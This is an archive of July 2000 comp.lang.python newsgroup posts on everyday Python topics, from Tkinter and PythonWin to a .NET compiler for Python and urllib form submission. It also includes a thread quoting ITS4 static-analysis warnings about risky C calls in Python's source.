From guido at beopen.com  Sat Jul 29 11:33:48 2000
From: guido at beopen.com (Guido van Rossum)
Date: Sat, 29 Jul 2000 15:33:48 GMT
Subject: tkinter for tk8.3?
References: <8lt27f+4dbg@eGroups.com>
Message-ID: <cpem4cevz9.fsf@cj20424-a.reston1.va.home.com>

mranga at nist.gov writes:

> I am a newcomer to python but have been programming tcl/tk for some
> time. I would like to use some of the newer features of tk8.3,
> however, I noticed that the compiled distribution of python only
> specifices tk8.0. Before I attempt to rebuild with the latest tk
> version, I would like to know if there are any "gotcha's" that would
> make this impossible/difficult to do.

If you pick up the 1.6a2 release for Windows from
www.python.org/downloads/, it has Tcl 8.3.1 already.

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From jkraska1 at san.rr.com  Sun Jul 30 22:15:11 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Mon, 31 Jul 2000 02:15:11 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com> <39846ECC.DF5FE175@san.rr.com> <slrn8o92u3.171.nobody@isis.visi.com> <39848FFE.948BF635@san.rr.com> <slrn8o9nm4.a10.nobody@isis.visi.com>
Message-ID: <3984E1F2.3C131999@san.rr.com>

> >Not at all. I'm claiming that using real life operations was itself a
> >framing of the problem which isn't at all correct.
> 
> Why not?

Um, because I think what I wrote right below here is correct? :)

> >I'd argue that referring to a python variable as an arbitrary label to any
> >object is something which is quite intuitive to the novice programmer.
> 
> OK.
> 
> >These same novices will also intuitively understand that, in the situation
> >where the label is currently labelling an object of a particular type,
> >certain operations are inappropriate for that object. Which is exactly how
> >python behaves.
> 
> I was pointing out that that is also how real-life physical objects behave,
> and you said (I thought) that "while I can't prove it, I do believe it's
> wrong." What is it you believe is wrong?

Well, golly, I dunno. What is it we're arguing about? :)

Anyway, I don't believe that, just because real objects behave
that way means that it follows that python labels should have
type tags. Which isn't to say that's what you were saying and
all.... but, gosh, I thought you were....

*smile*

C/


From yartz at imaginet.fr.bbs  Sun Jul 16 09:40:01 2000
From: yartz at imaginet.fr.bbs (yartz at imaginet.fr.bbs)
Date: 16 Jul 2000 13:40:01 GMT
Subject: Pythonwin: problem with syntax highlighting
Message-ID: <3bQOH1$lDZ@openbazaar.net>

On Sun, 16 Jul 2000 12:58:54 GMT, "Neil Hodgson" <neilh at scintilla.org>
wrote:

>   Telling us what version number will help. Using PythonWin 132 is best if
>you are running Python 1.5.x.

I'm using pythonwin build 132 and python 1.5.2. All the win32 stuff
works well, I can run scripts and code my own, but no call tips
whatsoever.


>
>> There's just one irritating thing, not with the language itself, but
>> with the pythonwin editor. I havn't managed to make autocompleting and
>> syntax highlighting to work.
>
>   Autocompletion requires some symbols to be loaded. I don't know all the
>ways this can happen but in the interactive window try
>
>import win32api
>win32api.
>
>   After you press the '.' you should see a list appear.

And no list appears when I try this. I remember seeing such lists two
or three weeks ago, but now nothing shows up (and I've installed
python+pythonwin on 3 different setups : win98, nt4serv and w2k
advanced server. I don't have autocompletion on any of those).

>
>   Syntax highlighting should just happen - it even looks as though Mark has
>dropped the option to turn off syntax highlighting.

Do you mean coloring ? The source is colored alright.

>   Help is bad too? Your machine is posessed by the anti-Python! Try
>uninstalling and reinstalling. And use Python 1.5.2 and PythonWin 132.

Actually the online help is fine, I was talking about call tips,
autocompletion and all these niceties which make life easier (and yes,
I've uninstalled and reinstalled twice already).

I know it sounds strange....


From shapr at uab.edu  Wed Jul 26 16:54:52 2000
From: shapr at uab.edu (Shae Erisson)
Date: Wed, 26 Jul 2000 20:54:52 GMT
Subject: polymorphism  (was  Re: Type checking in python?)
References: <20000726112848.A1101@freei.com> <8lmo4i$s28$1@news.kth.se> <8lnei8$7rm6$1@nntp6.u.washington.edu>
Message-ID: <397F4F6C.A4FCE6F@uab.edu>

Donn Cave wrote:

> Or you can simply expect a read() method.  Don't verify it, don't
> support anything else.  The polymorphism is up to the caller.  Examples
> of this with the file interface can be found in the library, rfc822 comes
> to mind.  I think this is more common than checking for method attributes
> and then supporting different interfaces.

According to all the Python lore/attitude/community feeling/etc that
I've absorbed, that's the way to do it.
This way you know you can interact with a file object, and any other
object that wants to act like a file object.
Interface does seem to be very important in the standard libraries, but
type does not seem to be anywhere close in importance.
Many of the standard libs support 'any object that has a "read" method
like a file object."
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From john.stewart at removethis.mindspring.com  Wed Jul  5 22:55:52 2000
From: john.stewart at removethis.mindspring.com (John Stewart)
Date: Thu, 06 Jul 2000 02:55:52 GMT
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au> <8jp3pt$q7j$1@nnrp1.deja.com>
Message-ID: <3963f35f.24149421@news.mindspring.com>

On Mon, 03 Jul 2000 04:11:49 GMT, Neo Brave <neo_brave at my-deja.com>
wrote:

>In article <WzI75.5714$Tb7.31718 at news-server.bigpond.net.au>,
>  "Mark Hammond" <MarkH at ActiveState.com> wrote:
>> Under Windows NT or Win2k, you can use the PATHEXT environment
>> variable. Simply add ".py" to the semi-colon sep'd list of
>> extensions, and off you go!
>
>Great, thats a help for NT, but I also want to do this on Win98 :-).

	Grab 4dos from www.jpsoftware.com start it up then type:
.py=c:\python\python.exe

		John Stewart



From jkraska1 at san.rr.com  Mon Jul 17 01:28:11 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Mon, 17 Jul 2000 05:28:11 GMT
Subject: Wishlist sumbission form?
References: <eWuc5.40515$MT.1447099@news-west.usenetserver.com> <39727EFB.77234AEA@prescod.net> <1Ivc5.91059$W35.2107233@news20.bellglobal.com>
Message-ID: <39729A04.266E5792@san.rr.com>

Olivier Dagenais wrote:
> 
> In the future, everyone will be a programmer and will be able to implement
> their own ideas quickly.  That, or when they start realizing that all of
> humankind have become geeks, they'll just get rid of all computers and we'll
> go back to grunting and hunting for food.

Grunting and hunting for food is overrated. The grubs may be
sweet, but the digging for them is a real drag.



C/


From hschroeder at gmx.net  Mon Jul 24 13:49:37 2000
From: hschroeder at gmx.net (Henning Schroeder)
Date: Mon, 24 Jul 2000 19:49:37 +0200
Subject: [Announce] BoboMail 0.4
Message-ID: <hjvhl8.mm2.ln@odin.henning-schroeder.de>

Hi,
I am pleased to announce


BoboMail 0.4
============

BoboMail is a webmail application written in Python to allow users
to read their mail throught a web interface.

It is distributed under the GNU GPL. 


Current features: 
-----------------
 * read, write, reply, forward and delete messages
 * send and receive attachments
 * decodes quoted-printable, base64 and uuencoded
 * handles HTML-mails properly (with inline images!)
 * does not need Javascript or cookies
 * direct support for the following MIME types:
   message/rfc822, message/delivery-status, multipart/alternative,
   multipart/mixed, multipart/report, multipart/related, 
   multipart/digest, text/plain, text/html, text/x-vcard, image/jpeg, 
   text/rfc822-headers, image/png, image/x-xpixmap, image/gif
 * works with POP3-servers and partially IMAP4 (spool-files under development)
 * easy to modify and customize through HTML-templates
 * modular design provides easy interface for other authentication
   methods and mail protocols
 * provides optionally its own fast multithreading webserver (BoboMailHTTPD)
 * user preferences
 * multi-lingual support (i18n) - currently English and German


New in this version:
--------------------
There are several improvements in usability as well as in speed. Some
annoying bugs were fixed and some nice new features were introduced.
BoboMail should be usefull now for everyday use. See ChangeLog for details.
 

Where to get it:
----------------
The project is hosted on Sourceforge. Look for the latest release
on http://bobomail.sourceforge.net






From markx.daley at intel.com  Fri Jul  7 15:51:40 2000
From: markx.daley at intel.com (Daley, MarkX)
Date: Fri, 7 Jul 2000 12:51:40 -0700 
Subject: EOF
Message-ID: <75F7304BB41CD411B06600A0C98414FC0A41CB@ORSMSX54>

A better way is this:

f = open("file")
line = f.readline
while line:
	<process here>
	line = f.readline

This way, you're not testing truth against a known true.

- Mark

-----Original Message-----
From: Carlos Eberhardt [mailto:ceberhardt at itradar.com]
Sent: Friday, July 07, 2000 12:42 PM
To: python-list at python.org
Subject: Re: EOF


Not sure if it fits what you're doing, but one way would be
f = open("file")
while 1:
    line = f.readline()
    if not line:
        break

'Course, I'm new at this, so that might be a really awful way to do it, but
it's worked for me. :)

"fae" <fae at sis.it> wrote in message news:396623EE.211B14E9 at sis.it...
> Sorry,
>    how can I test if I reached the end of file ?
>
> thanks ,
>    Leonardo.
>








From dkuhlman at netcom.com.bbs  Mon Jul 17 12:50:01 2000
From: dkuhlman at netcom.com.bbs (dkuhlman at netcom.com.bbs)
Date: 17 Jul 2000 16:50:01 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <3bRIcR$kaL@openbazaar.net>

This is *very* exciting news for me.  Here's why: We make a Web
server add-on that has the CPython interpreter embedded in it.
This enables our users to extend the mainframe applications that we
deliver/host with Python scripts.  At some time in the future, if
all the silliness about Java does not quiet down, we will be able
to embed JPython into our product so that our users would be able
to extend their applications with Python code which integrates with
their Java code.  And, if the sillines about C# turns out not to be
a hoax, with the work Mark is doing, we might be able to embed
C#Python into our product so that our users could extend their
applications with Python code which integrates with their C# code.

Now, I ask you, what other scripting language would enable me to
support that breadth of users? Incredible.

One thing (among many) that I do not understand is how C#Python can
both compile directly to IL (intermediate language?) and produce a
.DLL/.EXE.  Does the .EXE contain both an interpreter (VM ?) and
the IL (byte code?) that it interprets?  Or does IL mean that the
machine code is in there, but augmented with some meta-information
for debuggers and other tools?  Or, what?

  - Dave


Mark Hammond (MarkH at ActiveState.com) wrote:
> In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
>   "Neil Hodgson" <neilh at scintilla.org> wrote:
> >    Now that Microsoft have revealed their Intermediate Language (IL)
> >    virtual machine, are we going to see a version of Python that
> >    compiles directly to IL? Or will Python byte codes still be
> >    interpreted by C code?
>
> Directly to IL - although there is still a runtime that handles some of
> the Python semantics.
>
> This new compiler could be compared, conceptually, with JPython - it is
> a completely new implementation of Python.  It has a compiler that
> generates native Windows .DLL/.EXE files.  It uses a runtime that
> consists of a few thousand lines of C# (C-Sharp) code.  The Python
> programs can be debugged at the source level with Visual Studio 7, as
> well as stand-alone debuggers for this environment.  Python can sub-
> class VB or C# classes, and vice-versa.
>
> Unfortunately, there will not be a public release of their SDK for a
> couple of months - so the only people able to use this compiler are
> people who attended the PDC, and hence have the pre-beta SDK on their
> conference CDs.
>
> The compiler is looking pretty reasonable.  pystone.py (amongst others,
> of course) compiles and runs.
>
> However, this should be quite exciting for the Python community.  The
> general feel of the conference here is that the MS .NET technology is
> exciting and a good thing.  I predict that the Windows community will
> embrace this technology, and having Python be a first-class citizen is a
> good thing!  It _is_ a radical change.

>
> Future work on this compiler will be under the ActiveState banner.
> However, the compiler and the runtime are all open source.  The
> compiler is written in CPython, and uses win32com to get at the
> Reflection::Emit APIs provided by .NET.  All the existing work has been
> done mainly by me, with some code and advice from Greg Stein.  Now the
> NDA is lifted, I hope (some of) the Python community will get behind
> this, and take advantage of the open-sourceness of the compiler and
> runtime, and help us turn this into an excellent language for this
> environment.
>
> All good stuff (IMO, of course)
>
> None of this is speaking for ActiveState - just my personal opinion.
>
> Mark (still at the PDC!)
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From neilh at scintilla.org  Sat Jul 29 02:07:48 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sat, 29 Jul 2000 06:07:48 GMT
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com>
Message-ID: <Uwug5.15044$4p3.118240@news-server.bigpond.net.au>

> I am currently in the middle of hooking up a large external C++ library by
> maintaining a database of C++ function pointers that I will call from
Python.
> If anybody has tried this before, my question is: Is there a good way to
call
> these function pointers without having to wrap every single one in a
Python-C
> module? The only package I know of that might do this job is libffi, but
it
> only runs on Unix, not on Windows.

   Sam Rushing's calldll/windll can call arbitrary function pointers from
Python.

http://www.nightmare.com/software.html

   No type checking, no safety, no warranties.

   Neil




From ejr at lotus.CS.Berkeley.EDU  Fri Jul 28 15:15:18 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 28 Jul 2000 19:15:18 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <3dittrsdhl.fsf@kronos.cnri.reston.va.us> <39815602.18CCB9A0@hursley.ibm.com> <8lrrsi0123s@news2.newsguy.com>
Message-ID: <8lsm46$qi$1@agate.berkeley.edu>

And Alex Martelli writes:
 - 
 - A key difference appears to be that IL is not designed for easy
 - interpretation, but rather specifically for compilation down to 
 - machine-code (possibly JIT, possibly at assembly-installation time, 
 - that could be an administrative choice).

Somewhere I saw three choices: JIT, load-time, and installation 
time.  Unfortunately, they seem to be lacking the one in which I'm 
interested, namely any time.  Dynamic compilation combined with 
stochastic sampling for performance stats would be nice, although 
still an area of little research.

And there's no reason why the IL can't allow for fairly simple 
interpretation.  Things like annotated register transfer lists
aren't too difficult to interpret.  Add a threading annotation
to the RTL, and it should be just about as speed efficient as 
any other threaded interpreter (Forths, newer Erlang, qscheme, 
etc.).  It'll eat memory like a pig if you keep the whole IL
hanging around, but that's another story.

 - If so, then it would appear to be far closer to OSF's old and beautiful
 - project, the ANDF (Architecture-Neutral Distribution-Format), which 
 - never really got anywhere in practical terms -- maybe IL is sufficiently 
 - less ambitious, more focused, and/or better-funded than ANDF... who 
 - knows, one can hope!-)

What?  ANDF is certainly not beautiful.  It does not preserve 
the structure of the original program, but instead holds a 
sequence of symbols that are to be expanded into the target's 
machine code.  The lack of structure means most useful 
optimizations must be performed before the encoding, limiting 
the codegen ones to simple peephole optimizations.  And ANDF's 
opcode set limits it to the previous generation of processors, 
ones without simd register ops (MMX, AltiVec, etc.).  Some 
peephole optimizations could help with those, but certainly not 
with upcoming processors (VLIW, multithreaded, etc.).  And I
suppose you could reverse-engineer a good deal of information
from the ANDF sequence, but then why not just compile straight
from source?

At the time, it was a good first step.  And ANDF did a great 
thing in demonstrating that being the full compilation target 
is not a great goal.  Current research projects (like 
www.research.ibm.com/daisy/) have taken a different route...  
They keep the structure from the original program and use a 
fast compiler back-end to generate code for far more 
architectures than ANDF could.  And they can perform much more 
intelligent optimizations.

For an indication of the amount of pain involved in ANDF, see
  http://www.ri.silicomp.fr/andf/CmdAndLib-v10.ps
The other papers there are also good, including the ones about
Java and ANDF.  The folks at ex-OSF Grenoble produced one of 
the fastest early Java platforms using bytecode-to-ANDF 
expansion.  However, the dynamic compilation environment from 
Self (Hotspot) has gone further than the ANDF methods could by 
using the semantics of the bytecode language.

(Given your background, you probably know a great deal of this,
likely more than I do, but I still can't let an ANDF-is-nice
reference pass.)

The tiny bit of content released so far about the IL makes me 
pretty hopeful.  If it's moderately in the direction it seems to
be, MS could do the research community a great service by 
releasing it under a free license.  They won't, I'm sure, but I
can hope.

 - [...] retargeting Java compilers for it, while quite feasible, would then 
 - not be a snap, nor is all of that huge mass of Java code going to be 
 - recompiled all that easily, I suspect...

Depending on the structure of the IL, it could be as easy as 
retargeting the Java JIT to the IL, which will then be hit by
the IL JIT.  After getting the rest of Java implemented, of 
course, but the managed C++ and C versions of MS's tools could 
help that greatly.  Given MS seems to hold quite a grudge against 
Java, I'd expect to see a JVM on top of the IL pretty quickly.  
The first gen tools will likely be direct compilations to IL of 
their previous C(++?)-based JVMs, so they won't be too impressive.  
Later generations could be very nice indeed.

Bringing this back to Python...  Python could well end up running
as fast as any other dynamic language.  Add to that a migration
path from Perl, Java, etc. to Python (via CLS use of `legacy'
packages in other languages)...

Jason, thinking MS could actually get this one right, or at the
very least spur someone else into getting it right...


From jamarijr at hotmail.com  Wed Jul  5 15:42:28 2000
From: jamarijr at hotmail.com (Arinté)
Date: Wed, 05 Jul 2000 19:42:28 GMT
Subject: Embedded apps and range???
Message-ID: <8k0331$n7d$1@nnrp1.deja.com>

I am trying to use a range in a for loop
	for i in range(-1,sz):
		devlist[0] = PossDevice.PossArg(resource,i)
		devlist[0].setValue(i)
		ret = diz.set(devlist)
		diz.ioctl("POS_SYS_GET_VALUES",devlist)
		if i not in _range:
			print "Checking for errors " + str(ret)
			checkForErr(ret,error)

I am getting the good old "TypeError: len() of unsized object" error,
problem is when I use range(sz) or range(1,sz) I don't get the error???




Sent via Deja.com http://www.deja.com/
Before you buy.


From alex at magenta.com  Mon Jul 31 07:15:12 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 31 Jul 2000 13:15:12 +0200
Subject: Removing whitespace
References: <8m3gt7$h1k$1@nnrp1.deja.com>
Message-ID: <8m3nb102a33@news1.newsguy.com>

<pauljolly at my-deja.com> wrote in message news:8m3gt7$h1k$1 at nnrp1.deja.com...
> Dear All,
>
> Firstly, apologies for all the questions! However, extensive searching
> and reading of manuals has not helped me here. How does one remove
> whitespace characters from a string (using the re module)? I have tried
> using the re.compile('\s*') method, followed by the split() function
> but no success. Any help much appreciated with example code is possible.

It's easier to do it with the string module --
string.join(string.split(thetext),'').

But you can use a re for the splitting in case it's handier for some reason:

>>> sp=re.compile(r'\s*')
>>> string.join(sp.split(x),'')

Note the r'\s*' in the argument to re.compile -- you're missing that in the
above quote, so that might perhaps be your problem...?


Alex





From aa8vb at yahoo.com.bbs  Mon Jul 17 07:10:02 2000
From: aa8vb at yahoo.com.bbs (aa8vb at yahoo.com.bbs)
Date: 17 Jul 2000 11:10:02 GMT
Subject: automatically filling web forms?
Message-ID: <3bR9jQ$krh@openbazaar.net>

Alex:
 |Jeroen Valcke:
 |
 |> can I automatically fill webforms?
 |
 |Yes, you can.  Check out the htmllib module, which you can use to get
 |the forms out of the document, and the GET and POST capabilities of
 |urllib, which you can use to send your response.

Don't know about the htmllib module option, but here's how with urllib on
Python 1.5.2, for both GET and POST.

   import urllib, os

   BASE_URL = "http://www.a-cool-site.com:80/cgi-bin/get_data.cgi"

   parms = { 'parm1' : val1,
             'parm2' : val2 }

   if METHOD == "get":
     filename, headers = urllib.urlretrieve( "%s?%s" %
                                      ( BASE_URL, urllib.urlencode( parms ) ) )

   else: # METHOD == "post"
     #-------  I've submitted a patch so that this will work  -------
     #filename, headers = urllib.urlretrieve( BASE_URL,
     #                                        urllib.urlencode( parms ) )

     #-------  But for now, do this  -------
     fp = urllib.urlopen( BASE_URL, urllib.urlencode( parms ) )

     tfp = open(filename, 'wb')
     bs = 1024*8
     block = fp.read(bs)
     while block:
         tfp.write(block)
         block = fp.read(bs)
     tfp.close()
     fp.close()

   #=====  Work with query results here (they're in file 'filename') =====

   urllib.urlcleanup()
   if METHOD == "post":  os.unlink( filename )

--
Randall Hopper
aa8vb at yahoo.com


From zo at angband.org  Fri Jul 28 14:02:19 2000
From: zo at angband.org (Eric Lorenzo)
Date: 28 Jul 2000 14:02:19 -0400
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com>
	<slrn8o2ft4.1e2.grey@teleute.rpglink.com>
	<OLgg5.2637$6E.681698@ptah.visi.com>
	<slrn8o397m.3ok.grey@teleute.rpglink.com> <3h8zumi4i2.fsf@angband.org>
	<slrn8o3f73.49c.grey@teleute.rpglink.com>
Message-ID: <3h7la6i15g.fsf@angband.org>

grey at despair.rpglink.com (Steve Lamb) writes:
> On 28 Jul 2000 12:49:57 -0400, Eric Lorenzo <zo at angband.org> wrote:
> >But communication with the *computer* isn't actually the primary
> >purpose of typing.  Rather, typing is a means for programmers to
> 
>     Funny, I thought that was what comments were for.  

Somehow, I knew you'd say this, but my previous message was already
too long, so I didn't include a preemptive rebuttal.  That said, there
are a number of reasons why comments are an inferior solution for many
problems like the one we're dealing with here:

1) They can be ambiguous - after all, they're written in natural
   language.

2) Heavy commenting can make a program much harder to read, by
   making it harder to pick out actual code, and obscuring overall
   block structure.

3) When a programmer uses comments to communicate in the way you
   recommend, he ends up having to keep two versions of the same
   information in sync: the code for the compiler/interpreter,
   and the comments for other programmers.  So now when you modify
   code, you've got the extra bookkeeping of changing comments as
   well.  How exactly is this easier than simply adding or removing a
   call to 'int()' around the input string?

4) They can be wrong: It's not uncommon for a programmer to change
   code and *not* update comments to match.  Particularly when in a
   hurry.  And particularly in cases where the code doesn't actually
   change, only the programmer's expectation of what it will do (cases
   which the implicit type coercions you love will allow to come up
   much more frequently).  Even when the programmer *does* make the
   effort to keep comments in sync, he may be wrong in what he thinks
   a particular piece of code will do.

This isn't to say that one should avoid comments entirely, but rather
that one shouldn't treat them as a panacea.  I mostly limit my
comments to docstrings at the start of a module, class, or function,
and their purpose is only to provide an overall description of the
purpose of the code I'm commenting.  At this high level, ambiguity
isn't such a problem, and the overall purpose of a module, class
doesn't change much, so keeping the code and the comments in sync is
no problem.

For little details like what form I expect a particular user input to
take, the terser and less ambiguous of the language provide a superior
solution.  And it provides other advantages, like making it far more
likely that bad input will generate a visible error right away, rather
than down the road in some part of the program that isn't clearly
related to the point where the bad data entered the system.  This can
drastically simplify debugging.

Eric


From wlfraed at ix.netcom.com  Thu Jul 20 23:43:25 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Thu, 20 Jul 2000 20:43:25 -0700
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <39763FF4.2CA5BF75@schneider-kamp.de> <8l59pa$6ff$1@slb1.atl.mindspring.net> <slrn8nd7s8.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <8l6vc5$c07$1@slb6.atl.mindspring.net> <+MLEAgA0Lxd5EwDd@jessikat.fsnet.co.uk> <wkog3shk6q.fsf@turangalila.harmonixmusic.com>
Message-ID: <t1hfnsshi6sl780ii7dbfm4suua8hin94s@4ax.com>

On 20 Jul 2000 11:53:49 -0400, Dan Schmidt <dfan at harmonixmusic.com>
declaimed the following in comp.lang.python:

> zip is fine with me, but if we were to choose a brand-new name, I like
> the make_pairs that someone proposed, or, since I guess it can work on
> more than two lists, make_tuples.  Or how about tuple_up? :)

	APL has a "lamination" operator, so perhaps "laminate()"


--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From bkc at Murkworks.com  Fri Jul 21 10:00:28 2000
From: bkc at Murkworks.com (Brad Clements)
Date: Fri, 21 Jul 2000 10:00:28 -0400
Subject: Extend/Embed Python Method table Dispatcher
References: <8l85e1$eti$1@nnrp1.deja.com>
Message-ID: <XzYd5.44$pa6.3954@news.clarkson.edu>

Suggest that you create three functions.

Two "shell" functions that are in the PyMethodDef table, they call the 3rd
function that does the work, passing in an indicator of "who called me".

--
Brad Clements,
bkc at murkworks.com
<heath7952 at my-deja.com> wrote in message news:8l85e1$eti$1 at nnrp1.deja.com...
> Dear All,
>
> I am extending Python with my own C functions. I would like be able to
> share one C function amongst different extended commands. Here's a
> little pseudo example.
>
>
> // standard method table with two commands specified "do_stuff" and
> "do_stuff2" both of which call the same C function.
>
> static PyMethodDef my_methods[] = {
>   {"do_stuff",    (PyCFunction)Python_Embed::fnDoStuff, METH_VARARGS,
> dostuff__doc__   },
>   {"do_stuff2",    (PyCFunction)Python_Embed::fnDoStuff, METH_VARARGS,
> dostuff2__doc__   },
>   {NULL,    NULL}
> };
>
> PyObject* Python_Embed::fnDoStuff(PyObject* self, PyObject* args)
> {
>
>     switch(who called me)
>        case do_stuff:
>           do something
>        break;
>
>        case do_stuff2
>           do something different.
>        break;
>
>
>
> }
>
>
> I looked at args, but I was unable to find anything in the PyObject
> worth extracting for this purpose.
>
> Any help would be greatly appreciated.
>
> Heath.
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From michael at stroeder.com  Mon Jul  3 05:22:50 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 03 Jul 2000 11:22:50 +0200
Subject: Python CGI security
References: <B5851962.5E%bojar@speakeasy.org> <39603713.47CD2012@stroeder.com> <slrn8m0j4j.m2b.thomas@centurion.xs4all.nl>
Message-ID: <39605B6A.28B4E36D@stroeder.com>

Thomas Wouters wrote:
> 
> On Mon, 03 Jul 2000 08:47:47 +0200, Michael Str?der <michael at stroeder.com>
> wrote:
> >"E. Jordan Bojar" wrote:
> 
> >> [..] buffer overflow [..] 
> 
> >I'm not a C programmer at all and therefore I just naively used a
> >tool named ITS4: <URL: http://www.rstcorp.com/its4/> to find parts
> >in the Python interpreter which might have buffer overrun issues. I
> >would really like to have some discussion about the ITS4-output.
> 
> If you do want to have that discussion, feel free to send me that report, 
> or post it here

Ok, here are some examples from Python1.6a2 sources (see below). I'm
not a C programmer therefore such tools are my only possibility to
raise some discussion by pointing to code. Off course the tool
outputs only hints. Not every code line listed is a real security
hole.

I understand that the Python application itself is responsible for
dealing with some issues (e.g. race conditions with files) since the
Python libs only wrap some system libs. And I understand that some
of the listed functions as being dangerous are used in a safe way
with appropriate parameters.

But IMHO a discussion about security issues would be worthful.

Ciao, Michael.

----------------------------------------------------------------------
Modules/posixmodule.c:248:(Urgent) popen
Easy to run arbitrary commands through env vars.
Use fork + execve + pipes instead.
----------------
[..]
----------------
Modules/posixmodule.c:1151:(Urgent) system
Easy to run arbitrary commands through env vars. Also, potential
TOCTOU
problems.
Use fork + execve instead.
----------------
[..]
----------------
Modules/posixmodule.c:605:(Very Risky) access
Potential race condition on: path
Points of concern are:
Modules/posixmodule.c:605: access
Modules/posixmodule.c:701: chmod
Modules/posixmodule.c:1063: mkdir
Modules/posixmodule.c:1065: mkdir
Modules/posixmodule.c:1254: utime
Modules/posixmodule.c:2235: readlink
Modules/posixmodule.c:3263: statvfs
Manipulate file descriptors, not symbolic names, when possible.
----------------
[..]
----------------
Modules/main.c:117:(Very Risky) getenv
Often seen in conjunction with buffer overflows, etc.
Remember that env vars can contain arbitrary malicious input.  Test
accordingly
before use.
----------------
[..]
----------------
Modules/posixmodule.c:1863:(Very Risky) getlogin
It is very easy to fool.
Don't trust its output.
----------------
[..]
----------------
Modules/parsermodule.c:1032:(Very Risky) sprintf
This function is high risk for buffer overflows
Use snprintf if available, or precision specifiers, if available.
----------------
[..]
----------------
Modules/getpath.c:186:(Very Risky) stat
Potential race condition on: filename
Points of concern are:
Modules/getpath.c:186: stat
Modules/getpath.c:216: stat
Modules/getpath.c:231: stat
Modules/main.c:194: fopen
Python/bltinmodule.c:883: fopen
Python/pythonrun.c:583: fopen
Python/traceback.c:157: fopen
Manipulate file descriptors, not symbolic names, when possible.
----------------
[..]
----------------
Modules/posixmodule.c:385:(Very Risky) strcat
This function is high risk for buffer overflows
Use strncat instead.
----------------
[..]
----------------
Modules/posixmodule.c:827:(Very Risky) strcpy
This function is high risk for buffer overflows
Use strncpy instead.


From ejr at lotus.CS.Berkeley.EDU  Thu Jul 20 21:33:36 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 21 Jul 2000 01:33:36 GMT
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
Message-ID: <8l899g$6f5$1@agate.berkeley.edu>

Quick summary:  Maybe there needs to be a numerics-sig before any 
of these changes are adopted...

And Huaiyu Zhu writes:
 - 
 -    (4) Similarity with Matlab (but not really compatibility). 

Take care here.  Matlab has made many arbitrary choices that kill
consistency.  Their treatment of 1x1 `matrices' has been discussed
to death in the NA-digest.  And the lack of algorithm specification
for matrix /, \, etc. has caused more than a few surprises.

 -    Notation: To avoid confusion, I'll adopt matlab notation and invent 
 -    a set of unique names in the following discussions:

I'll trade all the fuss over notation for fuss over _definitions_.
I'm accustomed to using xGEMM, xGESVX, etc. in any language.  Why
those rather than whatever the language throws at me?  They're
well-defined.  I know their error bounds and behavior in the face 
of floating-point oddities.  Give me those definitions, and I'll 
take almost any notation.  Hell, I've been putting up with the
BLAS and LAPACK naming scheme.

Before anyone adds new notations for operations, you need to be 
sure you have definitions for those operations.  And good definitions
will exacerbate some of the numeric issues in Python.  For example,
Python doesn't provide reasonable ways to test for Inf or NaN.  These
are needed in new eigenvalue routines (the only known optimal ones).
Yes, I know, there are some non-IEEE architectures left, but they
shouldn't be encouraged.  (Keep in mind that I'm at Berkeley; expect 
a strong IEEE-754 bias.)

And then there are issues with complex.  -0.0j = -0j, but 
complex(0.0,-0.0) = 0j.  And there seems to be no way to construct
1-0j at all.  This is painful when you think about branch cuts
(http://mathworld.wolfram.com/BranchCut.html) combined with 
conditional tests.  The typical graphical example shows an airfoil
with flow going in a completely wrong path, but I can't find that
on-line right now.

There are standard definitions for most matrix and vector operations 
in the BLAS and LAPACK.  The next BLAS standard is being drafted now, 
see
    http://www.netlib.org/cgi-bin/checkout/blast/blast.pl
The authors are trying to simplify the current text as much as 
possible, so it may be a while before it's fully released.  The LAPACK 
and BLAS definitions are much more consistent than the Matlab ones.

Some extra reading on numeric issues in some languages:
  Some Java-related:
